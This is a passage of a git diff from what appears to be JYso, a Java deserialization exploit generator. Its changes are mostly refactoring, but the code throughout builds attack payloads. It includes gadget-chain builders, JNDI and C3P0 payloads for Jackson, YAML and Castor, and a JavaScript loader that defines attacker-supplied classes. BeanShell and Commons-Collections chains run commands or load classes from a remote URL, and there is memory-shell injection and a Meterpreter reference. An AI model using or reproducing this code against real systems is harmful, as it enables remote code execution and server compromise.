ctClass.toBytecode(); + } // 加载 class 试试 // loadClassTest(classBytes, ctClass.getName()); @@ -172,11 +149,11 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; + CtClass ctClass; String newClassName = generateClassName(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + POOL.get(ABST_TRANSLET.getName()); // 扩展功能 if (command.startsWith("EX-") || command.startsWith("LF-")) { @@ -200,34 +177,41 @@ public class Gadgets extends ClassLoader { // 如果全局配置继承,再设置父类 if (IS_INHERIT_ABSTRACT_TRANSLET) { - shrinkBytes(ctClass); + if (ctClass != null) { + shrinkBytes(ctClass); + } // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } else { - // 否则直接设置父类 - ctClass.defrost(); - ctClass.setSuperclass(superClass); } } - byte[] bytes = ctClass.toBytecode(); + byte[] bytes = null; + if (ctClass != null) { + bytes = ctClass.toBytecode(); + } String classCode = Base64.getEncoder().encodeToString(bytes); //System.out.println("Base64 Encoded CtClass: " + classCode); - ctClass.detach(); + if (ctClass != null) { + ctClass.detach(); + } - return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + - "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + - "try{\n" + - " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + - " clazz.newInstance();\n" + - "}catch(err){\n" + - " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + - " method.setAccessible(true);\n" + - " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + - " clazz.newInstance();\n" + - "};"; + if (ctClass != null) { + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + return newClassName; } public static String createClassB(String command) throws Exception { @@ -238,11 +222,11 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; + CtClass ctClass; String newClassName = generateClassName(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + POOL.get(ABST_TRANSLET.getName()); // 扩展功能 if (command.startsWith("EX-") || command.startsWith("LF-")) { @@ -266,72 +250,40 @@ public class Gadgets extends ClassLoader { // 如果全局配置继承,再设置父类 if (IS_INHERIT_ABSTRACT_TRANSLET) { - shrinkBytes(ctClass); + if (ctClass != null) { + shrinkBytes(ctClass); + } // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } else { - // 否则直接设置父类 - ctClass.defrost(); - ctClass.setSuperclass(superClass); } } - String className = ctClass.getName(); - ctClass.writeFile(); + String className = null; + if (ctClass != null) { + className = ctClass.getName(); + } + if (ctClass != null) { + ctClass.writeFile(); + } //writeClassToFile(className, ctClass.toBytecode()); return className; } - public static HashMap makeMap(Object v1, Object v2) throws Exception { - HashMap s = new HashMap(); - Reflections.setFieldValue(s, "size", 2); - Class nodeC; - try { - nodeC = Class.forName("java.util.HashMap$Node"); - } catch (ClassNotFoundException e) { - nodeC = Class.forName("java.util.HashMap$Entry"); - } - Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); - Reflections.setAccessible(nodeCons); - - Object tbl = Array.newInstance(nodeC, 2); - Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); - Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); - Reflections.setFieldValue(s, "table", tbl); - return s; - } - - public static Hashtable makeTableTstring(Object o) throws Exception { - Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o, "Unam4"); - tHashMap2.put(o, "SpringKill"); - Reflections.setFieldValue(tHashMap1, "loadFactor", 1); - Reflections.setFieldValue(tHashMap2, "loadFactor", 1); - - Hashtable hashtable = new Hashtable(); - hashtable.put(tHashMap1, "Unam4"); - hashtable.put(tHashMap2, "SpringKill"); - - tHashMap1.put(o, null); - tHashMap2.put(o, null); - return hashtable; - } - - public static HashMap maskmapToString(Object o1, Object o2) throws Exception { - Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { + Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); tHashMap1.put(o1, null); tHashMap2.put(o2, null); Reflections.setFieldValue(tHashMap1, "loadFactor", 1); Reflections.setFieldValue(tHashMap2, "loadFactor", 1); - HashMap hashMap = new HashMap(); - Class node = Class.forName("java.util.HashMap$Node"); - Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); + HashMap hashMap = new HashMap<>(); + Class node = Class.forName("java.util.HashMap$Node"); + Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java index 1d73356..d7b3e0a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.gadgets.utils; +import java.io.EOFException; import java.io.IOException; import java.io.InputStream; import java.security.MessageDigest; @@ -19,12 +20,12 @@ public class HexUtils { public static String getMD5(String str) { // 生成一个MD5加密计算摘要 - MessageDigest md = null; + MessageDigest md; try { md = MessageDigest.getInstance("MD5"); md.update(str.getBytes()); return toHexString(md.digest()); - } catch (NoSuchAlgorithmException e) { + } catch (NoSuchAlgorithmException ignored) { } return null; } @@ -42,13 +43,16 @@ public class HexUtils { public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; - in.read(classBytes); + int bytesRead = in.read(classBytes); + if (bytesRead == -1) { + throw new EOFException("流已结束,未读取到数据"); + } in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { - StringBuffer sb = new StringBuffer(length); + StringBuilder sb = new StringBuilder(length); for (int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index bf1f3e5..eb74b31 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -14,6 +14,7 @@ import java.util.List; import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*; import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; +import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; public class InjShell { @@ -178,7 +179,7 @@ public class InjShell { } } - ctClass.setName(ClassNameUtils.generateClassName()); + ctClass.setName(generateClassName()); insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";"); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java index 384f298..7b02e9d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java @@ -15,9 +15,9 @@ public class JavaVersion { return null; } JavaVersion v = new JavaVersion(); - String parts[] = property.split("\\.|_|-"); + String[] parts = property.split("[._\\-]"); int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix - v.major = Integer.parseInt(parts[start + 0]); + v.major = Integer.parseInt(parts[start]); v.minor = Integer.parseInt(parts[start + 1]); v.update = Integer.parseInt(parts[start + 2]); return v; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java deleted file mode 100644 index 751476a..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.File; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; - -public class MyURLClassLoader { - private URLClassLoader classLoader; - - public MyURLClassLoader(String jarName) { - try { - classLoader = getURLClassLoader(jarName); - } catch (MalformedURLException e) { - e.printStackTrace(); - } - } - - public Class loadClass(String className) { - try { - //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils - //为了避免这种情况,所以调用了 findClass 方法 - Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); - method.setAccessible(true); - Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); - return clazz; - } catch (NoSuchMethodException e) { - e.printStackTrace(); - } catch (IllegalAccessException e) { - e.printStackTrace(); - } catch (InvocationTargetException e) { - e.printStackTrace(); - } - - return null; - } - - - private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { - String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; - File file = new File(path); - URL url = file.toURI().toURL(); - URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); - return urlClassLoader; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java index 54feb14..0a6d285 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java @@ -64,7 +64,7 @@ public class Reflections extends ClassLoader { return (T) sc.newInstance(consArgs); } - public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { Method method = null; while (cs != null) { try { @@ -78,7 +78,7 @@ public class Reflections extends ClassLoader { return method; } - public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { try { java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); if (method != null) diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index bf4b5e5..f93abdf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -108,11 +108,10 @@ public class Serializer implements Callable { if (BASE64) { String base64String = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(base64String); - return; } else { System.out.println(bos); - return; } + return; } else if (IS_JsonIO) { if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { UtilFactory uf = new UtilFactory(); @@ -152,9 +151,13 @@ public class Serializer implements Callable { } if (IS_Hessian1 || IS_Hessian2) { - AobjOut.writeObject(obj); + if (AobjOut != null) { + AobjOut.writeObject(obj); + } } else { - objOut.writeObject(obj); + if (objOut != null) { + objOut.writeObject(obj); + } } if (BASE64) { @@ -165,7 +168,7 @@ public class Serializer implements Callable { public static Object makeRome(String Command) throws Exception { UtilFactory uf = new UtilFactory(); - String args[] = {Command}; + String[] args = {Command}; Object tpl = TemplatesUtil.createTemplatesImpl(args); Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl); String marshalled = JsonWriter.objectToJson(obj1); @@ -187,7 +190,7 @@ public class Serializer implements Callable { globalinline = true; if (payloadType.equals("C3P0WrapperConnPool")) { URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return writeObject( WrapperConnectionPoolDataSource.class, Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); @@ -196,77 +199,80 @@ public class Serializer implements Callable { } } - public static Object JacksonHandler(String payloadType, String command) throws Exception { - if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { - String jndiUrl = command; - Map values = new LinkedHashMap<>(); - values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); - values.put("adviceBeanName", quoteString(jndiUrl)); - return writeCollection( - HashSet.class.getName(), - writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values), - writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); - } else if (payloadType.equals("C3P0WrapperConnPool")) { - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - return writeJackJsonObject( - WrapperConnectionPoolDataSource.class, - Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); - } else if (payloadType.equals("SpringPropertyPathFactory")) { - Map values = new LinkedHashMap<>(); - String jndiUrl = command; - values.put("targetBeanName", quoteString(jndiUrl)); - values.put("propertyPath", quoteString("foo")); - values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); - return writeJackJsonObject(PropertyPathFactoryBean.class, values); - } else if (payloadType.equals("JdbcRowSet")) { - Map values = new LinkedHashMap<>(); - values.put("dataSourceName", quoteString(command)); - values.put("autoCommit", "true"); - return writeJackJsonObject(JdbcRowSetImpl.class, values); - } else if (payloadType.equals("C3P0RefDataSource")) { - Map values = new LinkedHashMap<>(); - values.put("jndiName", quoteString(command)); - values.put("loginTimeout", "0"); - return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); - } else { - return null; + public static Object JacksonHandler(String payloadType, String jndiUrl) throws Exception { + switch (payloadType) { + case "SpringAbstractBeanFactoryPointcutAdvisor": { + Map values = new LinkedHashMap<>(); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + values.put("adviceBeanName", quoteString(jndiUrl)); + return writeCollection( + HashSet.class.getName(), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); + } + case "C3P0WrapperConnPool": + URI uri = new URI(jndiUrl); + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeJackJsonObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); + case "SpringPropertyPathFactory": { + Map values = new LinkedHashMap<>(); + values.put("targetBeanName", quoteString(jndiUrl)); + values.put("propertyPath", quoteString("foo")); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + return writeJackJsonObject(PropertyPathFactoryBean.class, values); + } + case "JdbcRowSet": { + Map values = new LinkedHashMap<>(); + values.put("dataSourceName", quoteString(jndiUrl)); + values.put("autoCommit", "true"); + return writeJackJsonObject(JdbcRowSetImpl.class, values); + } + case "C3P0RefDataSource": { + Map values = new LinkedHashMap<>(); + values.put("jndiName", quoteString(jndiUrl)); + values.put("loginTimeout", "0"); + return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); + } + default: + return null; } } public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { - if (payloadType.equals("JdbcRowSet")) { - Map properties = new LinkedHashMap<>(); - properties.put("dataSourceName", writeString(command)); - properties.put("autoCommit", "true"); - return writeObject(JdbcRowSetImpl.class, properties); - } else if (payloadType.equals("C3P0WrapperConnPool")) { - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - return writeObject( - WrapperConnectionPoolDataSource.class, - Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); - } else if (payloadType.equals("C3P0RefDataSource")) { - Map props = new LinkedHashMap<>(); - props.put("jndiName", writeString(command)); - props.put("loginTimeout", "0"); - return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); - } else { - return null; + switch (payloadType) { + case "JdbcRowSet": + Map properties = new LinkedHashMap<>(); + properties.put("dataSourceName", writeString(command)); + properties.put("autoCommit", "true"); + return writeObject(JdbcRowSetImpl.class, properties); + case "C3P0WrapperConnPool": + URI uri = new URI(command); + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); + case "C3P0RefDataSource": + Map props = new LinkedHashMap<>(); + props.put("jndiName", writeString(command)); + props.put("loginTimeout", "0"); + return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); + default: + return null; } } - public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + public static Object CastorHandler(String payloadType, String jndiName) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { - String jndiName = command; return "" + "" + jndiName + "foo" + "" + "" + jndiName + ""; } else if (payloadType.equals("C3P0WrapperConnPool")) { - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + URI uri = new URI(jndiName); + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return ""; @@ -275,21 +281,21 @@ public class Serializer implements Callable { } } - protected static String writeObject(Class clazz, Map properties, String... consArgs) { - return writeObject(clazz.getName(), properties, consArgs); + protected static String writeObject(Class clazz, Map properties) { + return writeObject(clazz.getName(), properties); } - protected static String writeObject(String clazz, Map properties, String... consArgs) { - return writeObject(clazz, properties, 0, consArgs); + protected static String writeObject(String clazz, Map properties) { + return writeObject(clazz, properties, 0); } - protected static String writeObject(Class clazz, Map properties, int level, String... consArgs) { - return writeObject(clazz.getName(), properties, level, consArgs); + protected static String writeObject(Class clazz, Map properties, int level) { + return writeObject(clazz.getName(), properties, level); } - protected static String writeObject(String clazz, Map properties, int level, String... consArgs) { + protected static String writeObject(String clazz, Map properties, int level) { StringBuilder sb = new StringBuilder(); - sb.append(writeConstructor(clazz, globalinline, consArgs)); + sb.append(writeConstructor(clazz, globalinline)); if (!properties.isEmpty()) { int indent = (level + 1) * 2; @@ -306,15 +312,9 @@ public class Serializer implements Callable { return sb.toString(); } - protected static String writeConstructor(Class clazz, boolean inline, String... args) { - return writeConstructor(clazz.getName(), inline, args); - } - - protected static String writeConstructor(String clazz, boolean inline, String... args) { - StringBuilder sb = new StringBuilder(); - sb.append(constructorPrefix(inline)); - sb.append(clazz); - return sb.toString(); + protected static String writeConstructor(String clazz, boolean inline) { + return constructorPrefix(inline) + + clazz; } protected static String constructorPrefix(boolean inline) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java index 25dda4f..165ec4d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java @@ -37,7 +37,7 @@ public class StringUtil { } } - final List lines = new LinkedList(); + final List lines = new LinkedList<>(); for (String[] row : rows) { for (int i = 0; i < maxLengths.length; i++) { final String pad = repeat(" ", maxLengths[i] - row[i].length()); @@ -50,8 +50,8 @@ public class StringUtil { public static boolean isFromExploit() { StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); - for (int i = 0; i < stackTraceElements.length; i++) { - if (stackTraceElements[i].getClassName().startsWith("com.qi4l.JYso.exploit")) { + for (StackTraceElement stackTraceElement : stackTraceElements) { + if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) { return true; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java new file mode 100644 index 0000000..1f58061 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java @@ -0,0 +1,153 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.File; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ThirdLibsClassLoader extends URLClassLoader { + public static final String thirdLibDir = "chains-config/third-libs"; + private static final String commonDir = "common"; + private static final Logger log = LoggerFactory.getLogger(ThirdLibsClassLoader.class); + private static ThirdLibsClassLoader INSTANCE = null; + private static boolean initialized = false; + private static Map pluginClassLoaderMap = new HashMap(); + + static { + initClassLoader(); + } + + public static ThirdLibsClassLoader getInstance() { + return INSTANCE; + } + + public static void initClassLoader() { + try { + if (initialized) { + return; + } + try { + INSTANCE = init(); + initDirectoryClassLoaders(); + initialized = true; + } catch (MalformedURLException e) { + throw new RuntimeException("Failed to initialize class loader", e); + } + } catch (Throwable th) { + initialized = true; + throw th; + } + } + + public static void reload() { + INSTANCE = null; + initialized = false; + pluginClassLoaderMap = new HashMap(); + initClassLoader(); + } + + public ThirdLibsClassLoader(URL[] urls) { + super(urls, Thread.currentThread().getContextClassLoader()); + } + + public ThirdLibsClassLoader(URL[] urls, ClassLoader parent) { + super(urls, parent); + } + + @Override // java.lang.ClassLoader + public Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + Class c = findLoadedClass(name); + if (c == null) { + try { + c = findClass(name); + } catch (ClassNotFoundException e) { + c = super.loadClass(name, resolve); + } + } + if (resolve) { + resolveClass(c); + } + return c; + } + + private static ThirdLibsClassLoader init() throws MalformedURLException { + ThirdLibsClassLoader loader = new ThirdLibsClassLoader(new URL[0]); + File commonDirectory = new File(thirdLibDir, "common"); + List jarUrls = new ArrayList<>(); + findJarFiles(commonDirectory, jarUrls); + for (URL url : jarUrls) { + log.debug("Add common lib: {}", url); + loader.addURL(url); + } + log.info("Loaded {} libraries from common directory", Integer.valueOf(jarUrls.size())); + return loader; + } + + private static void initDirectoryClassLoaders() throws MalformedURLException { + File baseDir = new File(thirdLibDir); + List subDirs = getFirstLevelDirectories(baseDir); + for (File dir : subDirs) { + if (!dir.getName().equals("common")) { + List jarUrls = new ArrayList<>(); + findJarFiles(dir, jarUrls); + if (!jarUrls.isEmpty()) { + ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader((URL[]) jarUrls.toArray(new URL[0]), INSTANCE); + pluginClassLoaderMap.put(dir.getName(), dirClassLoader); + log.info("Loaded {} libraries from directory: {}", Integer.valueOf(jarUrls.size()), dir.getName()); + } + } + } + } + + private static void findJarFiles(File dir, List jarUrls) throws MalformedURLException { + File[] files; + if (dir.exists() && dir.isDirectory() && (files = dir.listFiles()) != null) { + for (File file : files) { + if (file.isDirectory()) { + findJarFiles(file, jarUrls); + } else if (file.getName().endsWith(".jar")) { + if (file.getName().startsWith("_")) { + log.info("Skip third lib {}", file.getName()); + } else { + jarUrls.add(file.toURI().toURL()); + } + } + } + } + } + + private static List getFirstLevelDirectories(File baseDir) { + File[] files; + List directories = new ArrayList<>(); + if (baseDir.exists() && baseDir.isDirectory() && (files = baseDir.listFiles()) != null) { + for (File file : files) { + if (file.isDirectory()) { + directories.add(file); + } + } + } + return directories; + } + + public static Class loadClass_(String className) throws ClassNotFoundException { + return INSTANCE.loadClass(className); + } + + public static URLClassLoader getClassLoader() { + return INSTANCE; + } + + public static URLClassLoader getClassLoaderForDirectory(String directoryName) { + return pluginClassLoaderMap.get(directoryName); + } + + public static Map getPluginClassLoaderMap() { + return pluginClassLoaderMap; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index 252e44a..a245b41 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.gadgets.utils; -import com.qi4l.JYso.template.echoStatic.Meterpreter; import com.sun.org.apache.bcel.internal.classfile.Utility; import javassist.CannotCompileException; import javassist.ClassPool; @@ -200,7 +199,7 @@ public class Utils { public static String getClassCode(Class clazz) throws Exception { byte[] bytes; if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { - bytes = ClassByteChange.update(Meterpreter.class); + bytes = ClassByteChange.update(); } else { bytes = getClassBytes(clazz); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java index 4faf4a7..41e54ed 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java @@ -9,7 +9,7 @@ public class BeanShellUtil { public static String makeBeanShellPayload(String command) { if (command.startsWith("TS-")) - return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("[-]")[1]) * 1000) + "L);"; + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);"; if (command.startsWith("RC-")) { String[] strings = Utils.handlerCommand(command); return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; @@ -21,7 +21,7 @@ public class BeanShellUtil { return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" + StringUtil.join( - Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; + Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java index 11ffee2..e7ffd5a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -24,23 +24,23 @@ public class TransformerUtil { String[] execArgs = {command}; if (command.startsWith("TS-")) { - transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),}; } else if (command.startsWith("RC-")) { String[] strings = handlerCommand(command); transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; } else if (command.startsWith("WF-")) { String[] strings = handlerCommand(command); - transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new 